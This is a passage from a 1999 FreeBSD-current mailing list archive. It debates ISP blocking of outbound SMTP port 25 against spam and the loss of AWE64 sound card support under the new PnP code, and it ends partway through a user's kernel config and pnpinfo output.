> long as the ISP allows exceptions.  As a paying subscriber with a 
> clean record I *must* be allowed to ask for a hole through your 
> firewall.

No, actually, there is absolutely nothing which says that you, as a
subscriber of good standing, *have* to be allowed to connect to
non-local port 25.  I think it is perfectly reasonable that the ISP
require that you buy a static IP (with N months initially prepaid) or
something to get port 25 privs.

If you want to go after the real source of the problem, then lobby
your local government to make spammers pay for the damage they do.
Otherwise the `freedom' of the old internet will be worn away because
ISPs will have to protect themselves more and more.

Anyhow, this is completely offtopic ... mail me in private if you want
to continue :)


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 10:11:28 1999
Delivered-To: freebsd-current@freebsd.org
Received: from noop.colo.erols.net (noop.colo.erols.net [207.96.1.150])
	by hub.freebsd.org (Postfix) with ESMTP id 7E81D15245
	for <current@freebsd.org>; Sun, 26 Sep 1999 10:11:26 -0700 (PDT)
	(envelope-from gjp@noop.colo.erols.net)
Received: from localhost ([127.0.0.1] helo=noop.colo.erols.net)
	by noop.colo.erols.net with esmtp (Exim 2.12 #1)
	id 11VHq7-000Geb-00; Sun, 26 Sep 1999 13:11:55 -0400
To: dmaddox@conterra.com
Cc: Ollivier Robert <roberto@keltia.freenix.fr>, current@FreeBSD.ORG
From: "Gary Palmer" <gjp@in-addr.com>
Subject: Re: Loss of Functionality with newpnp 
In-reply-to: Your message of "Sun, 26 Sep 1999 13:05:46 EDT."
             <19990926130546.A548@dmaddox.conterra.com> 
Date: Sun, 26 Sep 1999 13:11:55 -0400
Message-ID: <64019.938365915@noop.colo.erols.net>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

"Donald J . Maddox" wrote in message ID
<19990926130546.A548@dmaddox.conterra.com>:
> I'm just suggesting here that it would be nice if the authors of
> this code would make it _equally functional_ to what was removed.
> It's not nice to remove functionality unconditionally and then
> provide no replacement at all...

If people lose functionality, then it motivates them to help the
author replace the functionality that is important to them, and for
devices that the author probably has no access to....

We're a volunteer project Donald, and screaming blue murder 'cos your
<foo> card doesn't work as well as it used to gets us nowhere.  Have
you contacted the newpcm author and asked if you can help to get AWE64
support back?  Thats probably the best way to proceed.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 10:21:55 1999
Delivered-To: freebsd-current@freebsd.org
Received: from hawaii.conterra.com (hawaii.conterra.com [209.12.164.32])
	by hub.freebsd.org (Postfix) with ESMTP id 49CBE14DFD
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 10:21:52 -0700 (PDT)
	(envelope-from myself@conterra.com)
Received: from dmaddox.conterra.com (root@dmaddox.conterra.com [209.12.169.48])
	by hawaii.conterra.com (8.9.3/8.9.3) with ESMTP id NAA05300;
	Sun, 26 Sep 1999 13:21:50 -0400 (EDT)
Received: (from myself@localhost)
	by dmaddox.conterra.com (8.9.3/8.9.1) id NAA00702;
	Sun, 26 Sep 1999 13:21:56 -0400 (EDT)
	(envelope-from myself)
Date: Sun, 26 Sep 1999 13:21:56 -0400
From: "Donald J . Maddox" <dmaddox@conterra.com>
To: Gary Palmer <gjp@in-addr.com>
Cc: dmaddox@conterra.com,
	Ollivier Robert <roberto@keltia.freenix.fr>, current@FreeBSD.ORG
Subject: Re: Loss of Functionality with newpnp
Message-ID: <19990926132156.B548@dmaddox.conterra.com>
Reply-To: dmaddox@conterra.com
References: <19990926130546.A548@dmaddox.conterra.com> <64019.938365915@noop.colo.erols.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre3i
In-Reply-To: <64019.938365915@noop.colo.erols.net>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Sun, Sep 26, 1999 at 01:11:55PM -0400, Gary Palmer wrote:
> "Donald J . Maddox" wrote in message ID
> <19990926130546.A548@dmaddox.conterra.com>:
> > I'm just suggesting here that it would be nice if the authors of
> > this code would make it _equally functional_ to what was removed.
> > It's not nice to remove functionality unconditionally and then
> > provide no replacement at all...
> 
> If people lose functionality, then it motivates them to help the
> author replace the functionality that is important to them, and for
> devices that the author probably has no access to....
> 
> We're a volunteer project Donald, and screaming blue murder 'cos your
> <foo> card doesn't work as well as it used to gets us nowhere.  Have
> you contacted the newpcm author and asked if you can help to get AWE64
> support back?  Thats probably the best way to proceed.

Ummm...  I'm not screaming anything, Gary.  The intent of my message is
just to let the authors of this code know that it is *not* equal in
functionality to what was removed.  As I said in my original message, it
would be nice to see that functionality restored.

It may very well be that the authors are aware of this, and just don't
give a damn.  I prefer to give them the benefit of the doubt.



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 10:22:16 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mail.scc.nl (node1374.a2000.nl [62.108.19.116])
	by hub.freebsd.org (Postfix) with ESMTP id 1299915339
	for <current@FreeBSD.org>; Sun, 26 Sep 1999 10:22:06 -0700 (PDT)
	(envelope-from freebsd-current@scc.nl)
Received: (from daemon@localhost)
	by mail.scc.nl (8.9.3/8.9.3) id TAA29403
	for current@FreeBSD.org; Sun, 26 Sep 1999 19:12:14 +0200 (CEST)
	(envelope-from freebsd-current@scc.nl)
Received: from GATEWAY by dwarf.hq.scc.nl with netnews
	for current@FreeBSD.org (current@FreeBSD.org)
To: current@FreeBSD.org
Date: Sun, 26 Sep 1999 19:12:06 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Message-ID: <37EE53E6.DDBF62FF@scc.nl>
Organization: SCC vof
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <199909261056.FAA00403@mpp.pro-ns.net>
Subject: Re: -current panic w/linux netscape
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Mike Pritchard wrote:

> I have a panic that I can duplicate with a 24 hour old "make world"
> and a 4 hour old -current kernel.

If you use the linux module, make sure it's in sync with the kernel. If
that doesn't help, either follow Matt's advice or use ktrace/truss.

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 10:22:37 1999
Delivered-To: freebsd-current@freebsd.org
Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2])
	by hub.freebsd.org (Postfix) with ESMTP id 7BC7115190
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 10:22:35 -0700 (PDT)
	(envelope-from dillon@apollo.backplane.com)
Received: (from dillon@localhost)
	by apollo.backplane.com (8.9.3/8.9.1) id KAA66881;
	Sun, 26 Sep 1999 10:22:28 -0700 (PDT)
	(envelope-from dillon)
Date: Sun, 26 Sep 1999 10:22:28 -0700 (PDT)
From: Matthew Dillon <dillon@apollo.backplane.com>
Message-Id: <199909261722.KAA66881@apollo.backplane.com>
To: "Gary Palmer" <gjp@in-addr.com>
Cc: Brian Somers <brian@Awfulhak.org>, current@FreeBSD.ORG
Subject: Re: On hub.freebsd.org refusing to talk to dialups 
References:  <63983.938365645@noop.colo.erols.net>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


:Brian Somers wrote in message ID
:<199909261052.LAA23749@keep.lan.Awfulhak.org>:
:> I think it's up to the ISP what default policies they have, and I 
:> also think that this sort of policy is a good default... but only as 
:> long as the ISP allows exceptions.  As a paying subscriber with a 
:> clean record I *must* be allowed to ask for a hole through your 
:> firewall.
:
:No, actually, there is absolutely nothing which says that you, as a
:subscriber of good standing, *have* to be allowed to connect to
:non-local port 25.  I think it is perfectly reasonable that the ISP
:require that you buy a static IP (with N months initially prepaid) or
:something to get port 25 privs.

    ISP's have begun to do this sort of blocking because dialup spammers 
    abuse their privilages so much that a single spammer can cause an ISP
    to get inundated with complaints, yet the ISP can do little about it
    other then kick the spammer off (which solves nothing, really, considering
    how cheap dialup accounts are). 

    Frankly, I have to agree that no dynamic dialup user should be allowed
    to connect through to port 25 on anything but the ISPs own mail server.

						-Matt



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 10:22:46 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mta4.snfc21.pbi.net (mta4.snfc21.pbi.net [206.13.28.142])
	by hub.freebsd.org (Postfix) with ESMTP id 056ED153B3
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 10:22:44 -0700 (PDT)
	(envelope-from jazepeda@pacbell.net)
Received: from zippy.dyn.ml.org ([207.214.149.13])
 by mta4.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.1999.05.24.18.28.p7)
 with ESMTP id <0FIO006R1G9NUR@mta4.snfc21.pbi.net> for current@FreeBSD.ORG;
 Sun, 26 Sep 1999 10:22:38 -0700 (PDT)
Received: from localhost (localhost [127.0.0.1]) by zippy.dyn.ml.org (Postfix)
 with ESMTP id 2FE6191645; Sun, 26 Sep 1999 10:22:45 -0700 (PDT)
Date: Sun, 26 Sep 1999 10:22:45 -0700 (PDT)
From: Alex Zepeda <jazepeda@pacbell.net>
Subject: Re: On hub.freebsd.org refusing to talk to dialups
In-reply-to: <63983.938365645@noop.colo.erols.net>
To: Gary Palmer <gjp@in-addr.com>
Cc: Brian Somers <brian@Awfulhak.org>, current@FreeBSD.ORG
Message-id: <Pine.BSF.4.10.9909261017060.367-100000@localhost>
MIME-version: 1.0
Content-type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Sun, 26 Sep 1999, Gary Palmer wrote:

> No, actually, there is absolutely nothing which says that you, as a
> subscriber of good standing, *have* to be allowed to connect to
> non-local port 25.  I think it is perfectly reasonable that the ISP
> require that you buy a static IP (with N months initially prepaid) or
> something to get port 25 privs.

Why?!  The only ISP I've used at all that blocked port 25 was AT&T.

I think it's perfectly unreasonable.  Luckily for me, the only PBI server
that's been down for any serious amount of time (as far as I could tell)
was the POP3 server farm.

But back with GST/Wenet/Hooked, their OGM servers did go down and were
slow enough to make me not want to use them.  Even on the rare occasion
when they did work (all two of them; and now one), I liked having the
extra control over my mail.  Now.. well I use PBI's "smarthost" merely
because hub won't accept anything else.

> If you want to go after the real source of the problem, then lobby
> your local government to make spammers pay for the damage they do.
> Otherwise the `freedom' of the old internet will be worn away because
> ISPs will have to protect themselves more and more.

No, the real problem is the ISPs who can't fund decent servers and provide
decent service.  If they could take care of spam and provide a 99%
reliable service, I'd have very few problems with using their mailservers.

- alex

Experience something different
With our new imported dolly
She's lovely, warm, inflatable
And we guarantee her joy
  - The Police



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 10:39:51 1999
Delivered-To: freebsd-current@freebsd.org
Received: from noop.colo.erols.net (noop.colo.erols.net [207.96.1.150])
	by hub.freebsd.org (Postfix) with ESMTP id 0784F15190
	for <current@freebsd.org>; Sun, 26 Sep 1999 10:39:49 -0700 (PDT)
	(envelope-from gjp@noop.colo.erols.net)
Received: from localhost ([127.0.0.1] helo=noop.colo.erols.net)
	by noop.colo.erols.net with esmtp (Exim 2.12 #1)
	id 11VIHw-000GhP-00; Sun, 26 Sep 1999 13:40:40 -0400
To: Alex Zepeda <jazepeda@pacbell.net>
Cc: current@FreeBSD.ORG
From: "Gary Palmer" <gjp@in-addr.com>
Subject: Re: On hub.freebsd.org refusing to talk to dialups 
In-reply-to: Your message of "Sun, 26 Sep 1999 10:22:45 PDT."
             <Pine.BSF.4.10.9909261017060.367-100000@localhost> 
Date: Sun, 26 Sep 1999 13:40:36 -0400
Message-ID: <64194.938367636@noop.colo.erols.net>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Alex Zepeda wrote in message ID
<Pine.BSF.4.10.9909261017060.367-100000@localhost>:
> No, the real problem is the ISPs who can't fund decent servers and provide
> decent service.  If they could take care of spam and provide a 99%
> reliable service, I'd have very few problems with using their mailservers.

If they can't provide a reliable OGM server, find a different ISP, no
matter what else.  And I fail to see how they can `take care of spam'
if you won't let them close it at the source ... people doing direct
injection of spam to the recipients MX and relay raping others to hide
their tracks.  ISPs blocking outbound port 25 from dynamic dialups and
inbound port 25 to people who shouldn't be running servers (e.g. your
average cablemodem customer, a fair number of whom run open relays,
and most of whom have a TOS which doesn't allow them to run `servers'
in the first place) will cure a lot of problems, whether you like it
or not.

More than 75% of ISP customers would like less spam ... but they
*have* to be willing to accept that to stop the spammer they may have
to jump through a new hoop.

Heck, I believe a UK company (FreeServe?) uses a L4 switch (or some
similar technology) to redirect >all< outbound port 25 traffic to
their SMTP servers.  US ISPs probably don't have that choice if they
cover any territory at all (the cost of the switches becomes
prohibitive as you need one per POP), but a Cisco ACL would work just
as well at stopping the problem.

A growing number of companies block dynamic dialup blocks from
connecting to their inbound mail servers.  We do it by TCP wrapping
sendmail and doing wildcard matching of hostnames.  Other people use
the MAPS DUL or the (now, and probably temporarily, dead) IMRSS DSSL.
So even if your ISP does let port 25 out, its usefulness is *very*
shortlived.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 10:41:17 1999
Delivered-To: freebsd-current@freebsd.org
Received: from noop.colo.erols.net (noop.colo.erols.net [207.96.1.150])
	by hub.freebsd.org (Postfix) with ESMTP id 6B7AA15190
	for <current@freebsd.org>; Sun, 26 Sep 1999 10:41:16 -0700 (PDT)
	(envelope-from gjp@noop.colo.erols.net)
Received: from localhost ([127.0.0.1] helo=noop.colo.erols.net)
	by noop.colo.erols.net with esmtp (Exim 2.12 #1)
	id 11VIJN-000Ghk-00; Sun, 26 Sep 1999 13:42:09 -0400
To: dmaddox@conterra.com
Cc: current@FreeBSD.ORG
From: Gary Palmer <gjp@in-addr.com>
Subject: Re: Loss of Functionality with newpnp 
In-reply-to: Your message of "Sun, 26 Sep 1999 13:21:56 EDT."
             <19990926132156.B548@dmaddox.conterra.com> 
Date: Sun, 26 Sep 1999 13:42:09 -0400
Message-ID: <64215.938367729@noop.colo.erols.net>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

"Donald J . Maddox" wrote in message ID
<19990926132156.B548@dmaddox.conterra.com>:
> Ummm...  I'm not screaming anything, Gary.  The intent of my message is
> just to let the authors of this code know that it is *not* equal in
> functionality to what was removed.  As I said in my original message, it
> would be nice to see that functionality restored.

And how much time/resources are you willing to dedicate to restoration
of functionality *YOU* need?

> It may very well be that the authors are aware of this, and just don't
> give a damn.  I prefer to give them the benefit of the doubt.

They probably give a damn, but it goes a long way if you HELP them
rather than go around demanding stuff be put back.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 10:52:53 1999
Delivered-To: freebsd-current@freebsd.org
Received: from hawaii.conterra.com (hawaii.conterra.com [209.12.164.32])
	by hub.freebsd.org (Postfix) with ESMTP id 0DA5415322
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 10:52:45 -0700 (PDT)
	(envelope-from myself@conterra.com)
Received: from dmaddox.conterra.com (root@dmaddox.conterra.com [209.12.169.48])
	by hawaii.conterra.com (8.9.3/8.9.3) with ESMTP id NAA05997;
	Sun, 26 Sep 1999 13:52:43 -0400 (EDT)
Received: (from myself@localhost)
	by dmaddox.conterra.com (8.9.3/8.9.1) id NAA00871;
	Sun, 26 Sep 1999 13:52:49 -0400 (EDT)
	(envelope-from myself)
Date: Sun, 26 Sep 1999 13:52:49 -0400
From: "Donald J . Maddox" <dmaddox@conterra.com>
To: Gary Palmer <gjp@in-addr.com>
Cc: dmaddox@conterra.com, current@FreeBSD.ORG
Subject: Re: Loss of Functionality with newpnp
Message-ID: <19990926135249.A843@dmaddox.conterra.com>
Reply-To: dmaddox@conterra.com
References: <19990926132156.B548@dmaddox.conterra.com> <64215.938367729@noop.colo.erols.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre3i
In-Reply-To: <64215.938367729@noop.colo.erols.net>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Sigh.  Again, I didn't demand anything.

I simply pointed out that functionality had been lost.  If I
was the author of this code, I would *want* feedback on how
it was working out for people out here in userland.  I assume
that the authors in question _do_ want such feedback.

On Sun, Sep 26, 1999 at 01:42:09PM -0400, Gary Palmer wrote:
> "Donald J . Maddox" wrote in message ID
> <19990926132156.B548@dmaddox.conterra.com>:
> > Ummm...  I'm not screaming anything, Gary.  The intent of my message is
> > just to let the authors of this code know that it is *not* equal in
> > functionality to what was removed.  As I said in my original message, it
> > would be nice to see that functionality restored.
> 
> And how much time/resources are you willing to dedicate to restoration
> of functionality *YOU* need?
> 
> > It may very well be that the authors are aware of this, and just don't
> > give a damn.  I prefer to give them the benefit of the doubt.
> 
> They probably give a damn, but it goes a long way if you HELP them
> rather than go around demanding stuff be put back.
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message
> 


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 10:59:45 1999
Delivered-To: freebsd-current@freebsd.org
Received: from dingo.cdrom.com (castles530.castles.com [208.214.165.94])
	by hub.freebsd.org (Postfix) with ESMTP id D36AF152C7
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 10:59:42 -0700 (PDT)
	(envelope-from mike@dingo.cdrom.com)
Received: from dingo.cdrom.com (localhost [127.0.0.1])
	by dingo.cdrom.com (8.9.3/8.8.8) with ESMTP id KAA12959;
	Sun, 26 Sep 1999 10:51:59 -0700 (PDT)
	(envelope-from mike@dingo.cdrom.com)
Message-Id: <199909261751.KAA12959@dingo.cdrom.com>
X-Mailer: exmh version 2.0.2 2/24/98
To: dmaddox@conterra.com
Cc: Gary Palmer <gjp@in-addr.com>, current@FreeBSD.ORG
Subject: Re: Loss of Functionality with newpnp 
In-reply-to: Your message of "Sun, 26 Sep 1999 13:52:49 EDT."
             <19990926135249.A843@dmaddox.conterra.com> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Sun, 26 Sep 1999 10:51:59 -0700
From: Mike Smith <mike@smith.net.au>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> Sigh.  Again, I didn't demand anything.
> 
> I simply pointed out that functionality had been lost.  If I
> was the author of this code, I would *want* feedback on how
> it was working out for people out here in userland.  I assume
> that the authors in question _do_ want such feedback.

Actually, in your case, no.  The "functionality" you're claiming was 
lost was actually an unintentional side-effect of the code which will 
intentionally not be emulated. 

You are encouraged to participate in the ongoing development of our new 
sourd drivers in order to ensure they meet the functionality of the old 
ones, since that _is_ lost functionality that we care about.

-- 
\\  The mind's the standard       \\  Mike Smith
\\  of the man.                   \\  msmith@freebsd.org
\\    -- Joseph Merrick           \\  msmith@cdrom.com




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 11:15:33 1999
Delivered-To: freebsd-current@freebsd.org
Received: from hawaii.conterra.com (hawaii.conterra.com [209.12.164.32])
	by hub.freebsd.org (Postfix) with ESMTP id E079A1531E
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 11:15:30 -0700 (PDT)
	(envelope-from myself@conterra.com)
Received: from dmaddox.conterra.com (root@dmaddox.conterra.com [209.12.169.48])
	by hawaii.conterra.com (8.9.3/8.9.3) with ESMTP id OAA06752;
	Sun, 26 Sep 1999 14:15:24 -0400 (EDT)
Received: (from myself@localhost)
	by dmaddox.conterra.com (8.9.3/8.9.1) id OAA01214;
	Sun, 26 Sep 1999 14:15:29 -0400 (EDT)
	(envelope-from myself)
Date: Sun, 26 Sep 1999 14:15:29 -0400
From: "Donald J . Maddox" <dmaddox@conterra.com>
To: Mike Smith <mike@smith.net.au>
Cc: current@FreeBSD.ORG
Subject: Re: Loss of Functionality with newpnp
Message-ID: <19990926141529.A1143@dmaddox.conterra.com>
Reply-To: dmaddox@conterra.com
References: <19990926135249.A843@dmaddox.conterra.com> <199909261751.KAA12959@dingo.cdrom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre3i
In-Reply-To: <199909261751.KAA12959@dingo.cdrom.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Sun, Sep 26, 1999 at 10:51:59AM -0700, Mike Smith wrote:
> > Sigh.  Again, I didn't demand anything.
> > 
> > I simply pointed out that functionality had been lost.  If I
> > was the author of this code, I would *want* feedback on how
> > it was working out for people out here in userland.  I assume
> > that the authors in question _do_ want such feedback.
> 
> Actually, in your case, no.  The "functionality" you're claiming was 
> lost was actually an unintentional side-effect of the code which will 
> intentionally not be emulated. 

I'm not sure I follow you here.  My card was recognized and configured
properly by the old PnP code.  It is not recognized and configured
properly by the new PnP code.  How can that be classified as simply
'an unintentional side-effect of the code'?

It seems to me that PnP functionality should not be dependant on any
particular driver...  I mean, the PnP code and the audio code (and the
network driver code, and any other possible PnP device driver code)
are seperate things, no?  Shouldn't it be the job of the PnP code to
recognize and configure the device so that it probes and attaches,
regardless of what driver finds it?  At least, it appears to me that
that is what the old PnP code did.  My card worked just fine with it,
regardless of whether I selected 'pcm' or 'snd' in my kernel config.

> 
> You are encouraged to participate in the ongoing development of our new 
> sourd drivers in order to ensure they meet the functionality of the old 
> ones, since that _is_ lost functionality that we care about.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 11:47:20 1999
Delivered-To: freebsd-current@freebsd.org
Received: from hawaii.conterra.com (hawaii.conterra.com [209.12.164.32])
	by hub.freebsd.org (Postfix) with ESMTP id F1E0815092
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 11:47:11 -0700 (PDT)
	(envelope-from myself@conterra.com)
Received: from dmaddox.conterra.com (root@dmaddox.conterra.com [209.12.169.48])
	by hawaii.conterra.com (8.9.3/8.9.3) with ESMTP id OAA07764
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 14:47:09 -0400 (EDT)
Received: (from myself@localhost)
	by dmaddox.conterra.com (8.9.3/8.9.1) id OAA00383
	for current@FreeBSD.ORG; Sun, 26 Sep 1999 14:47:15 -0400 (EDT)
	(envelope-from myself)
Date: Sun, 26 Sep 1999 14:47:15 -0400
From: "Donald J . Maddox" <dmaddox@conterra.com>
To: current@FreeBSD.ORG
Subject: New PnP code does not work for me(?)
Message-ID: <19990926144715.A337@dmaddox.conterra.com>
Reply-To: dmaddox@conterra.com
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0pre3i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

I couldn't get my PnP Creative AWE64G to work with the new PnP
code, so I tried compiling a kernel with pcm instead.  All I get is:

unknown0: <Audio> at port 0x220-0x22f,0x330-0x331,0x388-0x38b irq 5 drq 1,5 on isa0
unknown1: <Game> at port 0x200-0x207 on isa0
unknown2: <WaveTable> at port 0x620-0x623 on isa0

It is my understanding that, with the new PnP code, I should not have to
specify the ports, IRQs, DMA, etc., right?  Here is the config I used:

machine		i386
ident		RHIANNON
maxusers	128
options		MAXDSIZ="(256*1024*1024)"
options		DFLDSIZ="(256*1024*1024)"
options         INCLUDE_CONFIG_FILE
cpu		I586_CPU
options		COMPAT_43
options		USER_LDT
options		SYSVSHM
options		SYSVSEM
options		SYSVMSG
options		MD5
options		DDB
options		KTRACE
options		PERFMON
options		UCONSOLE
options		USERCONFIG
options		VISUAL_USERCONFIG
options		INET
pseudo-device	loop
pseudo-device	bpf	4
pseudo-device	disc	2
pseudo-device	tun	2
pseudo-device	ppp	2
pseudo-device	streams
options		PPP_BSDCOMP
options		PPP_DEFLATE
options		PPP_FILTER
options		MROUTING
options		FFS
#options	CD9660
options		MFS
#options	MSDOSFS
#options	PROCFS
options		SOFTUPDATES
options		NSWAPDEV=20
controller	scbus0
device		da0
device		cd0
device		pass0
options		SCSI_REPORT_GEOMETRY
pseudo-device	pty	32
pseudo-device	speaker
pseudo-device	gzip
#pseudo-device	vn
pseudo-device	snp	3
pseudo-device	splash
controller	isa0
options		AUTO_EOI_1
options		AUTO_EOI_2
controller	pnp0
controller	atkbdc0	at isa? port IO_KBD
device		atkbd0	at atkbdc? irq 1
device		sc0	at isa?
device		vga0	at isa? port ? conflicts
options		MAXCONS=32
#options	STD8X16FONT
options		SC_HISTORY_SIZE=1000
options		SC_PIXEL_MODE
device		npx0	at nexus? port IO_NPX iosiz 0x0 flags 0x0 irq 13
controller	wdc0	at isa? port IO_WD1 irq 14 flags 0xb0ffb0ff
disk		wd0	at wdc0 drive 0
disk		wd1	at wdc0 drive 1
controller	fdc0	at isa? port IO_FD1 irq 6 drq 2
disk		fd0	at fdc0 drive 0
device		sio0	at isa? port IO_COM1 flags 0x10 irq 4
device		sio1	at isa? port IO_COM2 irq 3
device		sio2	at isa? port IO_COM3 flags 0x20000000 irq 12
#device		sio2	at isa? port IO_COM3 flags 0x20000 irq 12
device		sio3	at isa? port IO_COM4 irq 9
#controller	snd0
#device		sb0	at isa? port 0x220 irq 5 drq 1
#device		sbxvi0	at isa? drq 5
#device		sbmidi0	at isa? port 0x330
#device		awe0	at isa? port 0x620
#device		opl0	at isa? port 0x388
device		pcm0	#at isa? port ? irq 5 drq 1 flags 0x15
#device		pca0	at isa? port IO_TIMER1
#device		joy0	at isa? port 0x200
options		AHC_ALLOW_MEMIO
controller	pci0
controller	ahc0
#options		EXT2FS
options		SHOW_BUSYBUFS
options		SHMALL=1025
options		SHMMAX="(SHMMAXPGS*PAGE_SIZE+1)"
options		SHMMAXPGS=1025
options		SHMMIN=2
options		SHMMNI=33
options		SHMSEG=9
options		MSGBUF_SIZE=40960
#options	VESA
options		P1003_1B
options		_KPOSIX_PRIORITY_SCHEDULING
options		_KPOSIX_VERSION=199309L

And here is the pnpinfo output:

Checking for Plug-n-Play devices...

Card assigned CSN #1
Vendor ID CTL009e (0x9e008c0e), Serial Number 0x09f665ec
PnP Version 1.0, Vendor Version 32
Device Description: Creative SB AWE64 Gold

Logical Device ID: CTL0044 0x44008c0e #0
Device Description: Audio
TAG Start DF
Good Configuration
    IRQ: 5  - only one type (true/edge)
    DMA: channel(s) 1 
	8-bit, not a bus master, count by byte, , Compatibility mode
    DMA: channel(s) 5 
	16-bit, not a bus master, , count by word, Compatibility mode
    I/O Range 0x220 .. 0x220, alignment 0x1, len 0x10
	[16-bit addr]
    I/O Range 0x330 .. 0x330, alignment 0x1, len 0x2
	[16-bit addr]
    I/O Range 0x388 .. 0x388, alignment 0x1, len 0x4
	[16-bit addr]
TAG Start DF
Acceptable Configuration
    IRQ: 5 7 9 10  - only one type (true/edge)
    DMA: channel(s) 0 1 3 
	8-bit, not a bus master, count by byte, , Compatibility mode
    DMA: channel(s) 5 6 7 
	16-bit, not a bus master, , count by word, Compatibility mode
    I/O Range 0x220 .. 0x280, alignment 0x20, len 0x10
	[16-bit addr]
    I/O Range 0x300 .. 0x330, alignment 0x30, len 0x2
	[16-bit addr]
    I/O Range 0x388 .. 0x388, alignment 0x1, len 0x4
	[16-bit addr]
TAG Start DF
Acceptable Configuration
    IRQ: 5 7 9 10  - only one type (true/edge)
    DMA: channel(s) 0 1 3 
	8-bit, not a bus master, count by byte, , Compatibility mode
    DMA: channel(s) 5 6 7 
	16-bit, not a bus master, , count by word, Compatibility mode
    I/O Range 0x220 .. 0x280, alignment 0x20, len 0x10
	[16-bit addr]
    I/O Range 0x300 .. 0x330, alignment 0x30, len 0x2
	[16-bit addr]
TAG Start DF
Acceptable Configuration
    IRQ: 5 7 9 10  - only one type (true/edge)
    DMA: channel(s) 0 1 3 
	8-bit, not a bus master, count by byte, , Compatibility mode
    DMA: channel(s) 5 6 7 
	16-bit, not a bus master, , count by word, Compatibility mode
    I/O Range 0x220 .. 0x280, alignment 0x20, len 0x10
	[16-bit addr]
TAG Start DF
Acceptable Configuration
    IRQ: 5 7 9 10  - only one type (true/edge)
    DMA: channel(s) 0 1 3 
	8-bit, not a bus master, count by byte, , Compatibility mode
    I/O Range 0x220 .. 0x280, alignment 0x20, len 0x10
	[16-bit addr]
    I/O Range 0x300 .. 0x330, alignment 0x30, len 0x2
	[16-bit addr]
    I/O Range 0x388 .. 0x388, alignment 0x1, len 0x4
	[16-bit addr]
TAG Start DF
Acceptable Configuration
    IRQ: 5 7 9 10  - only one type (true/edge)
    DMA: channel(s) 0 1 3 
	8-bit, not a bus master, count by byte, , Compatibility mode
    I/O Range 0x220 .. 0x280, alignment 0x20, len 0x10
	[16-bit addr]
    I/O Range 0x300 .. 0x330, alignment 0x30, len 0x2
	[16-bit addr]
TAG Start DF
Acceptable Configuration
    IRQ: 5 7 9 10  - only one type (true/edge)
    DMA: channel(s) 0 1 3 
	8-bit, not a bus master, count by byte, , Compatibility mode
    I/O Range 0x220 .. 0x280, alignment 0x20, len 0x10
	[16-bit addr]
TAG Start DF
Sub-optimal Configuration
